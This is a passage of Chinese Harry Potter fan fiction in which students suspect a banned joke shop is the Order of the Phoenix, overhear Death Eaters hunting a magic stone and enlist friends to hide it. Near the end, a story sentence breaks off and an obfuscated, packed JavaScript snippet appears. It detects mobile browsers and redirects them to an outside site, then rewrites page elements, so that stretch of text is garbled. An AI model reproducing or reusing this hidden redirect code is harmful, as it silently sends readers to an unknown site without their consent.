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下一秒,不可思议的事发生了——希娜全身忽然冒出羽毛,变成了一只扑棱棱的大金丝雀。一时间,柏妮丝与毛茸茸的大金丝雀呆滞地四目相对。但只过了几秒,那只大金丝雀又“嘭”一下变回了希娜。 她们刚才发出的动静吸引了所有人的吸引力,因此这时,整个学院的学生都愣愣地看着刚刚变成鸟又变回来的格兰芬多找球手。突然,艾克索爆出一声惊天动地的大笑。她一只手撑着边上的扶手椅,乐得直不起腰来。这种笑声极其富有感染力。很快,别的学生也跟着笑起来,就连整蛊对象本人也一样。 “我就知道,”希娜在大笑的间隙上气不接下气地对艾克索说,“我就知道你没安什么好心。” “至少这次效果只持续了五秒钟!”艾克索辩解道,但她依然乐不可支,“而且变成金丝雀的感觉肯定比流鼻血或者呕吐强些。” “所以这就是萨尔?威魔法杂货铺卖的东西?这是家笑话商店?”柏妮丝问道,她刚才也在笑,但不如另外两个人笑得厉害,“但是——” “——但是所有笑话商店不是都被勒令关门了吗?”艾克索替她把问题说完,“是的,但也不是。真正喜欢恶作剧的人可不会被一条法规拦住。” 从她的口中,柏妮丝得知这家笑话商店早在战后第一年就开业了,而且一直在学生(尤其是格兰芬多的捣蛋鬼们)间相当有名。为了不被魔法部发现,这家商店没有任何实体门店,只接受通过猫头鹰寄来的订单。 “你知道吗?你是我见过的第一个没听说过萨尔?威的格兰芬多。”艾克索说,“真不敢相信竟然没有人告诉过你。不过话说回来,你看上去就对这种事不感兴趣——唉,真是太可惜了,你都不知道自己错失了多少有意思的东西。” 柏妮丝听到这里,忽然想起一件事。 “上次你送我的那两支羽毛笔。”她说,“它们也是从那里买的吗?” 她是在前两周发现那两支羽毛笔的不寻常之处的。那时候她正准备写一篇关于不可检测药剂的魔药课论文,却忽然找不到自己的旧羽毛笔了。她想起艾克索在她住院时送过她两支羽毛笔,就决定先拿一支出来用。但她没想到,这支笔竟然还有特殊功能。 “它自动修改了我的错误答案。”她告诉艾克索,“我当时还以为是你自己给羽毛笔施了咒呢。” 艾克索哈哈大笑。“我哪有那么大本事!”她说,“不过萨尔?威舅舅的机智抢答羽毛笔的确很厉害,我的作业能及格全都是多亏了它。真不知道他们是怎么做到的……” —— 第二天,当他们一如既往在图书馆写各自的作业时,柏妮丝将萨尔?威的事告诉了文森特。 “我一直以为笑话商店已经彻底绝迹了。”她说,“真没想到它们竟然还在以另一种形式继续存在着。” “很多东西都是这样。”文森特轻飘飘地说,“魔法部总是禁止这个、禁止那个,但要是他们费心观察的话,就会发现这些禁令中有很多除了彰显恐怖主义以外没有任何实际作用。” “是啊。马尔福这几年正在通过制定相对温和的政策全力挽回魔法部的形象,让他们看起来不那么像一个由白痴虐待狂组成的草台班子。”希娜笑着评论道,“但他在法律执行司的老同事们不费吹灰之力就让他的努力全打了水漂。” “那些人的根本症结在于傲慢。”文森特说,“他们的脑袋抬得太高,眼光放得太远,光顾着享受暴力和极权,却从来没真正想过那些他们口中的‘愚民’实际拥有多少智慧来使自己在暴政的重压之下顺畅呼吸,又有多少力量可以在必要的时候干掉他们。” “嗯哼。就比如说,你能想象马尔福看到霍格沃茨学生们绕过信件审核结界的限制给萨尔?威寄的那些订单会是什么表情吗?”希娜说到这里,忽然捏起嗓子,开始背诵那些信件的内容,“‘亲爱的萨尔?威舅舅:我在霍格沃茨过得很好。但有个小小的问题,我的一个朋友得了急病,性命垂危,急需两包肥舌太妃糖、三包吐吐糖、一个伸缩耳……’他们就靠着这种破办法,把那个被《预言家日报》吹上天的魔法结界当成猴子一样耍!” 文森特随口应和了一声,继续写他的作业。但很快,他的动作停住了。 “你刚才说那个笑话商店叫什么?”他问道,表情不太自然。 “‘萨尔?威舅舅’。或者‘萨尔?威魔法杂货铺’。”希娜回答,“怎么,你也对这类东西有兴趣?” “不是。”文森特随手抓来一张废纸展平,拿起手边的羽毛笔,继续问,“‘萨尔?威’。这个名字怎么拼?” “S-A-L W-E-E-Y。”希娜看起来更疑惑了,但还是老实地回答道,“你到底发现什么了?” “只是个猜测。”文森特说着,开始在那张废纸上奋笔疾书。写了一会儿,他又忽然丢下了羽毛笔,深吸了一口气。 “果然。”他说。 “果然什么?”希娜问。她和柏妮丝都凑过去。只见那张废纸的角落里写着两行字。 萨尔?威(Sal Weey)。 韦斯莱(Weasley)。 “重组字。”文森特像叹息一样吐出这句话,“简单但有效。” —— 没有人说话。突然之间,这件事的信息量就膨胀到了需要一段时间消化的程度。 “所以你的意思是这就是他们。”半晌,希娜干巴巴地说,“韦斯莱魔法把戏坊。他们从来没有真正消失过。” 魔法部从来没有对外公开过凤凰社的成员名单。要么是他们打定了主意要让这群人成为历史上面目模糊的反面角色,要么是他们依然不敢保证自己已经掌握了全部信息。但是,韦斯莱和隆巴顿这些家族作为所谓的“纯血统之耻”,早就已经广为人知了。 “这是有可能的。”文森特理性地说,“但还有另一种可能性——这是另一群人,起这个名字只是为了纪念他们什么的。” 希娜的表情就好像被噎住了。“拜托,你不要老是先给人希望又泼人冷水行吗?”她忍无可忍地说。 “我说的是事实。”文森特摊手道,“一个名字不能作为什么决定性证据。一切皆有可能。” “究竟哪一个是真的很重要。”柏妮丝出声道,剩下两个人好像都被她吓了一跳,“我们需要联系上他们,记得吗?如果他们真的还存在的话。” “确实。”希娜赞同道,“与其每天为那个石头提心吊胆,还不如速战速决。外边的任何地方都比一所有食死徒的学校强。” “但是有一个问题。”文森特冷静地说,“你们应该不打算直接写封信问他们吧?别忘了那个审核结界,那样的信是寄不出去的。” 柏妮丝低头思索起来。的确。虽然那个魔法结界的判定很愚蠢,但也没有愚蠢到可以允许一只猫头鹰带着一封写着“你们是凤凰社吗”的信件飞过去。各种乱七八糟的信息开始冲刷她的大脑,她不知道它们是否有用,但允许它们一一流过——魁地奇赛后的庆功会——金丝雀蛋奶饼干——伸着爪子索要铜纳特的猫头鹰——艾克索送她的机智问答羽毛笔—— 忽然,她灵光一闪。 “我想出办法了。”她宣布,“不过这个办法实施起来可能有些困难,而且也有一定可能行不通……” “先别想这些。”文森特用一种温和的方式打断她,“说说看,说不定我们做得到。” 柏妮丝对他的信任深表感激。在两个朋友鼓励的目光下,她慢慢地说道: “我们可以利用那两支羽毛笔。” (TBC) 8. 太多黄油啤酒 Chapter 08 - Too Much Butter Beer 计划的实施比柏妮丝想象中的要快得多。两天后,文森特便将那支羽毛笔重新摆在了她面前。 那支羽毛笔和柏妮丝上次看到它时相比并没有什么变化。她拿起它,在纸上随意写了几个字。字迹很快变化,变成了第一句话。 你们是凤凰社吗? “太厉害了。”柏妮丝惊叹道,“你怎么做到的?” “其实没什么。这支笔本身具有的咒语比我们需要的还要复杂精妙,我甚至需要去除一部分。把它用在这种地方实在有点大材小用了。”文森特说,但柏妮丝知道他其实很喜欢听别人的夸赞,“你可以多写几个字,虽说我已经试过了,应该没有问题。” 柏妮丝继续往下写,或者说,允许那支笔自己继续往下写。 有要事相商。如果回答为肯定,请寄来一根假魔杖,并提供有效的后续联系方式;否则请寄来一包速效逃课糖。 信件审核结界不允许通过的邮件有两类,一类是存在敏感词的信件,二是被认为具有危险的魔法物品。一支被施了无害的咒语的羽毛笔肯定不属于其中的任意一类——或者至少,理论上不属于任意一类。 “我们这样问会不会太露骨了?”柏妮丝盯着纸上的那段话,“万一他们其实不是鸟群……” “你不能既要求一句话能被鸟群看懂,又希望它不能被其他任何人看懂。”文森特说,“而且即便他们不是我们想找的人,我也不觉得一群用这种代称的人会站在我们的对立面。” “再者说,就算找不到鸟群,如果有其他人愿意帮忙,对我们也是有好处的。”希娜突然出现,接过文森特的话头,“两位,我把人带过来了。”她的另一只胳膊正拉着一脸茫然的艾克索。 “你们想要我帮忙做什么?”艾克索说着,凑过去看柏妮丝刚刚写下的东西,然后深吸了一口气,“哇哦。” “事情是这样的。”希娜用一种吟唱般的口吻说,“我们需要和萨尔·威联系,而亲爱的‘去死吧黑魔法防御术课’小姐是我们中唯一知道和他们联系的规矩的人。所以说,我们需要她帮忙写一封信。” “去死吧黑魔法防御术课”小姐目瞪口呆地思考了三秒钟,然后一字一句地说:“萨尔·威。你们认为他们是凤——” 希娜赶在她引发大祸前捂住了她的嘴。“别说那个词。”她嘶声道。 艾克索把她的手从自己脸上摘下来。“知道了啦。”她说,“但你们真的是这么认为的?” “只是个猜测。”希娜说,“不过正因为是猜测,所以才需要证实。” 艾克索的眼睛一下子变得闪闪发光。 “这太酷了!”她兴奋地说,“梅林的肚脐眼,这一年真是太精彩了!” 柏妮丝其实有些疑惑为什么她感叹的时候不肯选些常见的词语,比如“梅林的胡子”之类的。但无论如何,她同意这个说法。 艾克索不一会儿就以个人的名义写好了给萨尔·威的信,途中还时不时停下来,以专业的口吻给他们讲解她新写下的这句话又有哪些讲究之处。他们又一起修改了几次,以保证收信人能看明白他们的意思。过多的焦虑和担忧导致后者耗费的时间甚至远超前者——哪怕这封信根本只有几句话。直到最后,文森特指出“萨尔·威不是傻子,不至于连这个都看不懂”,他们才终于停手。这封信的最终版本是这样的: 亲爱的萨尔·威舅舅: 我和我的朋友们非常喜欢您上次送我的羽毛笔。我们一致认为这样好用的书写工具对我们的学业大有裨益。不过,我们中一个聪明的家伙认为它还可以变得更好些。他对这支笔做出了一些改良,还跟我赌了二十个加隆说您一定会对他做出的改动大为惊叹。因此如果您愿意试用一下这支笔并在回信中狠狠贬低他(我可拿不出二十个加隆!),我将感激不尽。 您亲爱的外甥女, 去死吧黑魔法防御术课 “就这样吧。除非这封信被当成骚扰邮件丢掉,否则应该不会出什么差错了。”文森特叹了口气,把信纸放回桌上,“他们一般需要多久才能回信?” “两个星期左右,我猜?”艾克索回答,“反正不会很快。” “无论如何,两个星期后我们就知道结果了。”希娜说,“在此之前,我们就祈祷梅林保佑吧。” —— 在这之后,几乎每一天中午,当成群的猫头鹰飞进礼堂,柏妮丝都会因为没有一只是来找自己的而感到胃稍稍下沉。她知道自己这样很愚蠢——按照艾克索的说法,回信是不可能这么快就寄到的——但她就是很难控制自己这样期盼。她甚至常常会想象,那封信根本没能寄到萨尔·威的人手里,而某一天魔法部的人会来到她的面前,手里拿着那个信封……这种无用的焦虑一直持续到十一月中旬才暂时停歇,因为另一件事占据了学生们的注意力——这学期的第一次霍格莫德之旅快要到来了。 实话说,柏妮丝去霍格莫德本身并没有什么事情可做。她不像海莉那样需要每次都在风雅牌巫师服装店待个几小时,也不像芬恩·戈多那样一钻进蜂蜜公爵糖果店就恨不得再也不出来。这一是因为她本来就没有什么特别想要的东西,二是因为他们家的经济状况也不允许她买太多东西。 但是朋友们让这整件事变得不同:他们(主要是希娜)拽着她到各个商店挑挑拣拣,偷偷买下所有她想要但没有买的东西并说服她收下它们;他们跟她一起在三把扫帚或帕笛芙夫人茶馆小坐——虽然前者常常人满为患,而后者永远随处可见约会的情侣——喝各种她独自一人时不会尝试的饮料。她本可以忍受一无所有,但他们给予了她一切她以为自己不会拥有的,让她的心真正开始为这个世界而跳动。即使这个世界上有伏地魔,她也不敢说它是绝对糟糕的,因为她见到的这些人同样存在。 总而言之,她还是很期待去霍格莫德的。 因此星期六,柏妮丝一大早就和两个朋友一起动身出发了。和他们同去的还有艾克索。她变成蜥蜴的模样,趴在希娜的肩膀上假装自己是个无害的宠物。一直到出了校门,她才变回原样。 “我也没别的选择。”她无辜地说,“我‘母亲’才没那个心情给我签什么表格呢。如果不是靠这种办法,我这辈子都去不了一回霍格莫德。” 这时他们已经买了足够多的东西,刚刚拎着大包小包在三把扫帚坐下。艾克索回头,向罗默斯塔女士点了三大杯黄油啤酒。 “我记得你之前都不会点黄油啤酒的。你不是说你们蜥蜴喝不了这个吗?”希娜问。 “凡事都有第一次嘛。”艾克索摆摆手,大大咧咧地说。 半小时之后,事实证明她的决定并不那么明智。 一大杯黄油啤酒刚下肚,艾克索就已经醉得像坨泥一样。她红着一张脸,扯着离她最近的希娜说话。 “你知道吗?”艾克索大着舌头说,“你们肯陪我来霍格莫德,我真的好——开心好开心。塞德汀那家伙……她从来不肯来。她嫌这种地方脏了她的袍子。切,那只自恃清高的大青蛙,她肯定——肯定没有尝过黄油啤酒。你说是不是?”她说着,狠狠拍了一下希娜的肩膀。 “是呀,一点没错。”希娜缩了一下脖子,说。 “但我也只有你们咯——”艾克索又狠狠拍了一下希娜的肩膀,“塞德汀,你,柏妮丝,还有那个斯莱特林小子,大概还有戴特。剩下的人,他们不喜欢我,瞧不起我——因为我不是个真正的巫师。这些我都知道,我只是从来——从来没有问过他们。” 希娜安抚地拍了拍她搭在自己肩上的那只手。文森特在对面不出声地询问她要不要现在就带上艾克索离开,她闭眼摇了摇头。 “其实我很想问问他们的呀——为什么我就和其他人不一样?”艾克索继续说,她的声音里开始带上某种柏妮丝没有听过的东西,某种来自内心最深处的不满和委屈,“明明我也会哭、会笑,凭什么我的难过就这么一文不值?凭什么他们甚至不肯假装更在乎一点?” 柏妮丝征询地望向身旁的文森特,文森特冲对面艾克索的方向侧了侧头。这家伙致力于把自己装成一个没有同情心的怪物,所以任何和这个词有关的事他都派柏妮丝去做。柏妮丝从来没有完全理解过这一点,但她已经习惯了。她离开原来的座位,坐到艾克索的身旁。 “你和我们是一样的。”她说,但不够有说服力,“我们从来没有当成其他任何东西。” “这就是为什么我喜欢你们,姑娘。”艾克索用另一只胳膊揽住她,用脸颊蹭了蹭她的头顶,“但除了你们没有人就这样想啦——包括那个德斯帕达,她让我管她叫‘母亲’,但其实她根本只是把我看成一篇会走路的论文。说不定过两年她的研究完成了,我就会被她扔到荒郊野外自生自灭去,反正在她眼里我和那些动物也没什么区别……” 柏妮丝试图说点安慰她的话,但没成功。 “唉,多么高贵的巫师,多么高贵的巫师界!下贱的血统连它的门槛都他妈的攀不着!”艾克索的声音突然提高,把整家店里的人都惊得回头来看他们,“有朝一日,如果我——” 她的后半句话变成了一串含糊不清的声音,因为希娜捂住她的嘴,然后把她整个人压到了桌子底下去。她压低声音说:“快变。别让他们找到你。” 柏妮丝先是被她们俩吓了一跳,随即发现希娜正警觉地盯着酒吧门口。她顺着女孩的目光看过去,一下子明白过来。值得庆幸的是艾克索还没醉到连这个都听不明白的地步。她嗖地从一个醉醺醺的学生变成了一只醉醺醺的蜥蜴,趴在希娜腿上不动了。 两个身影正站在酒馆门口。柏妮丝一眼认出其中一个是亚克斯利,他今天没穿那条标志性的银丝袍子,而是换成了一套深色的天鹅绒长袍,领口和袖口的花边简直像是从中世纪来的,华丽但俗气不堪。另一个人身材高大,穿着食死徒标志性的黑袍,柏妮丝从他的兜帽底下看见了一张苍白冷漠的长脸。她总感觉这张面孔有点熟悉,但说不出来是在哪见过。 两个食死徒的到来似乎让三把扫帚的温度都下降了许多,学生们纷纷停止了交谈,紧盯着他们的动作,好像在提防他们中的哪个突然抽出魔杖给所有人一人一个死咒——必须承认,这种担心是有一定道理的。许多人开始不动声色地离开酒馆。 亚克斯利知道艾克索没有被允许来霍格莫德。要是让他看到艾克索竟然偷跑到这里来喝黄油啤酒,很难说之后会发生什么。而让他听到艾克索酒后的大放厥词就更是不妙。柏妮丝探头看艾克索还有没有乱动弹的迹象,结果发现那只蜥蜴以及睡着了,脑袋还枕在希娜的小臂上。 柏妮丝用胳膊捅了捅希娜,想建议他们也赶紧离开。但就在这时,亚克斯利和那个食死徒走过来,不偏不倚坐在了他们附近的一张桌子边。这时再走就是明摆着得罪人了,他们只好尴尬地坐在原地,假装自己不存在。好在亚克斯利光顾着和那个人聊天,似乎并没有注意到他们。 “安东宁,老伙计。”亚克斯利说,“我们真是好久没见了。你怎么有空到这儿来?” “上头的命令,你知道,去北部边境的巫师聚居地视察什么的。”被称为“安东宁”的食死徒答道,他的声音比亚克斯利高一些,语气油滑而富有心计,“有情报说那里有些……脏东西。” “北部……那可不是什么好地方啊。这个季节,那里的天气又湿又冷。”亚克斯利感叹道,举起手里的酒杯,那里边装着热腾腾的蜂蜜酒。 “都是任务,没得选。”那个食死徒也举起酒杯和他碰了一下,然后喝了一口酒,“说到任务,你的那个进行得如何了?” 柏妮丝那张桌子旁,三个人隐秘地对视了一眼。文森特挑了一下单边眉毛。 “别提了。”亚克斯利说着,猛灌了一口酒,把杯子重重顿在桌上,“我告诉你,都是斯内普那个王八蛋办事拖拖拉拉。我跟他说了半天,他就随便叫几个毛头小鬼搞了个什么夜间巡逻,几个月过去屁点效果没有。他妈的,要是时间到了我还交不了差,我他妈绝对要把他告上去,看他还敢不敢瞧不起人。” 所以塔伦·埃德里安他们的夜巡是这么回事。柏妮丝想。 “你就是太急躁了,科班。这事不能这么来。”食死徒又抿了口蜂蜜酒,慢条斯理地说,“黑魔王把这事看得很重,你和斯内普现在是一荣俱荣、一损俱损。如果你们两个一开始就把关系闹僵了,那对谁都没好处。” “那你觉得我要怎么做?”亚克斯利没好气地说。 “跟他谈,科班。跟他谈。”食死徒语重心长地说,“把利害关系跟他说清楚。他是个聪明人。他会听懂的。” 亚克斯利烦躁地叹了口气,又喝了一杯酒。 “那件东西真那么重要?那块石头……” 石头。 这个词就像一块真正的石头那样砸在每个人的心上。柏妮丝惊愕地望向两个朋友,发现他们脸上的表情跟自己差不多。她知道他们在想同一件事——情况变得截然不同了。 “黑魔王认为它就有这么重要。你我都没有插嘴的份,而且我也不建议你质疑他。”食死徒说。 “不,我想说的是,万一那玩意儿根本不在霍格沃茨呢?”亚克斯利说,“万一我忙活了半天,还白受斯内普的一场气,最后发现这事从最开始就搞错了呢?” “不会搞错的。”食死徒沉声说,“这件事是我在负责。那个女人说得很明白,石头就在苏格兰。而且还有一点,当初被认为是石头主人的那对夫妻的孩子应该还活着,按照年纪推算应该在上学了。石头最有可能被送到了那个孩子那里。” “如果是这样,为什么不直接把那个小兔崽子揪出来?”亚克斯利不耐烦地说,“但凡是个案子,不都该有留档的吗?” “我们都是这么希望的,科班。但很遗憾,不行。在四年前那场小规模的魔法部闯入事件中,那几个人用厉火咒烧掉了绝大部分行政和法律文件。”食死徒平静地说,“当时的资料已经没有了。” “那那个女人——” “她说自己当初立了赤胆忠心咒,不能把他们的姓名告诉任何人,也不能透露石头的具体位置。”他说,“这是调查最大的瓶颈,所以我们只能在她提供的范围内一一排除。苏格兰的其他巫师聚居地魔法部也有派人去查,但无论如何,你的责任最重。所以听我一句劝,别再问了,科班,做好你自己的事吧。” 他们又聊了一会儿,然后那个食死徒喝下最后一口蜂蜜酒,起身走出了酒馆。亚克斯利独自坐了一会儿,也离开了。希娜突然站起来,胳膊上还抱着醉酒熟睡的蜥蜴。 “我们也回去吧。”她说。 —— “所以,那个叫帛曳的人背叛了承诺。”希娜总结道,“而现在食死徒在找我们。” 这时,他们正坐在黑湖边的草坪上。他们回来得太早,此时校园里几乎见不到人影,宁静的湖畔只有微风掠过。 “不完全是。”文森特冷静地说,“第一,我们都知道她说的那个赤胆忠心咒并不存在,她只是找了个借口拒绝把她知道的事情全盘托出;第二,国内没有什么地方需要猫头鹰飞两个月才到达霍格沃茨,她是在故意拖延时间。只能说她很精明,同时应付了两边的人。” “不管怎么说,她跟我父母之间只是单纯的利益关系,不能要求她完全不为自己考虑。”柏妮丝说,虽然她感觉前所未有地疲惫,“现在要轮到我们想该怎么做了。” 仅仅在一周前,当她思考该怎么把石头藏好的时候,这件事还远没有这么紧急。但现在,真的不能仅限于焦虑了。他们得实际地做点什么。忽然之间,一句熟悉的话出现在她的脑海,随之而来的是那双闪烁着光芒的棕色眼睛和那个明媚的笑容。 “如果你们需要的话,我可以帮忙保管那个东西。” 好吧。她真的很不想让其他人牵扯进来,但现在他们没有很多选择了。 “我有个想法。”她慢慢地说,看到剩下两个人把目光投向自己。 “你说。”文森特说。 “我们要不要让其他人参与进来?”她提议道,“比如说,多几个人轮流保管石头,把石头藏到不同的地方。如果说亚克斯利准备靠情报寻找石头,这么做可以降低石头被发现的概率。” “我赞同,柏妮丝。”希娜说,“我早就说过了,我们肯定很快就会需要更多帮助——某个自大的白痴死活不信。” “自大的白痴”文森特对于这条谴责的反应是耸耸肩膀。 “我只是说没有必要那么急迫。”他说,“那时的情况和现在不一样。别把这两件事混为一谈,劳里埃。” “但你不能否认现在我的观点更加符合实际。”希娜得意地说,“就一句话吧——你赞同不赞同这个方案?” “这是个不错的想法。”文森特客观地说,“但是有一个问题,那就是我们必须保证我们找的每一个人都足够值得信任。” “我认为安吉丽娜没问题。”柏妮丝说。 “我可以去联系泰德,他应该也会帮忙。”文森特说。这么长时间过去了,柏妮丝还是很震惊于他竟然用教名称呼他。不是说泰德这个人有问题,但这实在很少见。 “这些还不太够,还得再来一两个人。”希娜躺在草坪上,用胳膊枕着头,说道,“艾克索怎么样?” 柏妮丝忍不住回头看看格兰芬多塔楼。她知道艾克索这会儿就在上边休息。那人一时半会大概是清醒不了了。 “我不建议。”文森特皱起眉头,“她不够可靠。” “为什么?就因为她平时看起来太——粗心大意?”希娜问道。 “这难道还不够吗?”文森特反问,“当然,我不认为她会背叛我们,但不小心走漏风声对她这样的人来说实在太容易了。” “那是因为你一直都是这么看待她的,文森特。”希娜说,“我告诉你,只要她愿意,艾克索能比任何人都更守口如瓶。” 柏妮丝的视线再次飘向塔楼的方向。她不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15039694|162458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 由想起今天艾克索对他们说的那些话。 如果没有今天的那些事,她大概会赞同文森特的看法。甚至可以说,她一度认为艾克索是完全没有注意到别人对她的特殊态度。但如今想来,这种想法是愚蠢的——那些目光和言语太过尖锐,任何人都不可能忽视。事实是,过去那些不被尊重、不被重视、不被信任的瞬间,艾克索从来没有忘记。她只是选择假装不在乎,或者说干脆假装自己从未察觉。迟钝的表象成为了她自我保护的盾牌,不是为了抵挡外来的不公,而仅仅是为了不让自己内心的任何情绪成为他人嘲笑自己的武器。 希娜说得没有错,艾克索可以做到绝对的守口如瓶。在还没有确认身边的人值得信任时,她从来没有放纵自己喝过黄油啤酒。而在那之前,甚至没有人知道她正在经历痛苦。 而且更重要的是——艾克索坚定地认为他们是不一样的。 “我赞同希娜的看法。”她出声道,“我也信任艾克索。” 文森特没有立刻回答,也许是想给她一个重新考虑的机会。半晌,他终于确认剩下两个人都没有反悔的意思。 “好吧。”他说,“我相信你们比我更了解她。” “我和柏妮丝回头会问问她自己的意见。”希娜愉快地说,“剩下几个人也尽快联系吧。” 他们都清楚,亚克斯利的下一步动作很快就会进行。毕竟那个食死徒说得不错,在这件事上他和斯内普(表面上的)利害关系是一致的。即使要帮助他们,那个人也不可能一直拖延到最后。因此可以预测的是,将来他们肯定需要在现在的基础上加入更多的措施。但目前来说,在最短的时间内联络所有人是最重要的,其余的事情都可以之后再考虑。 第二天早晨,柏妮丝在赫奇帕奇的长桌边找到了安吉丽娜。她把女孩拉到一边,询问她愿不愿意参与他们的计划。毫不意外地,安吉丽娜很爽快地答应了。 “如果你们有什么新的安排,记得随时告诉我。”她说,“要记住,无论何时我都愿意帮忙。” 艾克索经历了昨天的那一通痛饮,第二天一直睡到下午才醒来。希娜和柏妮丝找到她的时候,她刚刚从壁炉前的一块软垫上爬起来——昨天她一直保持着蜥蜴的外观,他们就把她放在了那里——明显还有点头痛地敲着自己的脑袋。 “这就是为什么昨天我劝你不要喝那么多酒。”希娜坐在她旁边的一张扶手椅上,抱着胳膊说,“宿醉的感觉怎么样?” “好极了。”艾克索说着,从地上爬起来,也找了张椅子坐下。萨拉姆从炉火里爬出来,爬到她的大腿上,歪着脑袋看她。 “你们找我是有什么事情吗?”艾克索用手摸摸火蜥蜴的脑袋,随意地问。小家伙儿得到了回应,又飞快地爬下去,钻到炉火里去了。 “是这样的,艾克索。”柏妮丝回答,“我们想问你些关于那块石头的事。” “石头?”艾克索抬起头,“你们可别告诉我它丢了或者什么的。顺便一提,如果是那样,我什么都不知情,傲罗小姐。” “不是啦。”希娜笑笑,说道,“事实上,这段时间我们遇到了一些新情况,需要更多人轮流保管它。” 艾克索瞪大了眼睛。 “你的意思是……”她有点结巴地问。 “我的意思是,你愿意帮我们这个忙吗,艾克索?”希娜说,“我们很需要一个足够信任的人的帮助。” 这句话产生的效果是惊人的。艾克索眼睛一眨不眨地盯着她们,就好像她们随时会宣布这是一个玩笑,而今天是愚人节之类的。然后,她的眼睛里竟泛出泪光来。 突然,艾克索猛地扑过来,同时搂住了她们俩。柏妮丝被吓了一跳,但没有推开她。她知道希娜也没有。 “你们确定吗?”艾克索的声音在她看不见的位置问,“你们真的放心让我来吗?你们真的不担心我会毁了这一切?” 她的声音里带着一丝不易察觉的哽咽。然而在此之前,哪怕是昨天她在向他们说出自己遭受的不公时,她都没有哭过。 “实话说,文森特担心得要死。但我跟他担保你没问题。”希娜笑着说,也搂住她,“你可不要让我在他面前难堪,他会嘲笑我一辈子的。” “我可不能替你的选择负责,姑娘。”艾克索也笑起来,然后松开她俩,回到自己的座位上,看上去已经调整好了自己的情绪,“好吧,开玩笑的。我向你保证,哪怕神秘人开始穿着粉红色蓬蓬裙跳芭蕾舞,我也不会让你失望。” 相当令人生畏的措辞,而且糟糕地富有画面感。柏妮丝看到希娜惊恐地往回缩了缩。 “我希望我永远不需要见证那一天——”她敬畏地说,“神秘人和他的粉红色蓬蓬裙……” “对了。”艾克索说,“如果你们还需要更多人,也许我可以和戴特聊聊。” 希娜扬起眉毛。 “你的戴特?”她问。 “喂,别这样。”艾克索佯装气恼地说,“他很可靠的。” 最后,这次商议的结果是:戴特·加拉提亚可以参与这个计划,而询问他的任务交给了艾克索。当她们就后一点达成一致时,艾克索看起来对这个决定异常兴奋。柏妮丝猜测,也许她把这当成了和那个男孩搭话的一个新借口。 —— 正如他们估计的那样,新变化来得很快。星期天晚上,斯内普突然在晚餐时发布了一条通知。 “今天晚上七点三十分,男女学生会长和级长们到我的办公室门口来。”他冷冰冰地说,“有一场关于……学生校园安全的会议要开。” 这次所谓的“会议”实际上相当短暂。七点五十分还不到,海伦·加里根和其他格兰芬多级长就回到了格兰芬多公共休息室。海伦刚进屋,她的朋友维利卡就迎上前来,二人开始低声交谈。海伦看上去有些忧虑。 “……没办法。”柏妮丝听见维利卡说,“我们学生在他们眼里就是这样的——一群毫无人权可言的牲口。” 这是搭话的最佳时机。两个姑娘立刻凑了上去。 “怎么了?”希娜问,“斯内普说什么了?” “嗯,他本来说这是个秘密任务,但我觉得你们有必要知道。”海伦皱着眉头,回答道,“他要求我们从下个星期开始,每天晚餐时间都去搜查你们的宿舍。” 柏妮丝和希娜对视了一眼。 “为什么?”柏妮丝问,虽然她本就知道答案。 “他说,我们学校里有人私藏了一件很危险的魔法物品。”海伦回答道,“他要求我们把它找出来。” “但既然是这样,魔法部为什么不派傲罗来?”希娜问,“而且竟然偷偷潜入学生宿舍搜查,这也太恶心了。” “我也不清楚。但听他的意思,这段时间傲罗小组好像很忙,没有多余的人手可以抽调了。”海伦说,“当然,我们不会真的乱翻你们的东西,但其他学院的级长我不敢保证。他们中的一些人是神秘人的忠实信徒。” “这就是魔法部一贯的作风,不是吗?他们从来不把人当人看,只将我们当成他们追求权力和金钱的垫脚石。”维利卡说道,“我小时候还梦想进魔法部工作呢,但现在——这么说吧,只要还是这批人掌权,我就一根脚趾头都不会迈进那里的大门。” 可以做到优先级高于寻找戈德马蒂克之石的事情并不多,这点柏妮丝很清楚。因此她很容易就可以猜到傲罗小组为什么无法来到霍格沃茨——肯定是前阵子发生的一连串食死徒死亡事件让他们抽不开身。但这并不意味着局势对他们有利多少。如果说级长们每天都要搜查宿舍,那么迟早有一天石头会被发现。毕竟,他们不能指望所有人都像海伦这样尊重个人隐私。 当然,在这种情况下,最简单的解决方案就是向一位级长寻求庇护。然而问题就出在这里——在所有级长里,并没有一位他们能完全信任的人。虽然海伦看起来很友善,但毕竟他们和她只是泛泛之交,柏妮丝不敢把这么重要的事托付给她。 第二天早上,柏妮丝和希娜刚到礼堂,便将这一新情报告诉了文森特。出乎意料地,文森特并没有显得多担忧。 “我知道了。”他简单地答道,用刀叉切割着面前的煎蛋。 “看样子你已经有办法了?”希娜扬起眉毛,问道,“我们需要改变原先的计划吗?” “一切照常进行。”文森特的声音依然很平静,“不会出问题的。” “看来你的确有办法,只是不想告诉我们。”希娜的眉毛扬得更高,“说真的,你没必要在我们面前扮得神神秘秘。即使你打算出卖色相,我和柏妮丝也不会嘲笑你的,帅哥。” 文森特面无表情地瞥了她一眼。 “还是那句话:我不告诉你们是因为我所知道的都只是些猜测,在证实之前没有告诉你们的价值。”文森特说道,“等到时机正确的时候,我会说的。” “好吧。”希娜吹了个口哨,“我向你保证,到时候我不会对你和亚克斯利之间的秘密关系表现得过于震惊的。” (TBC)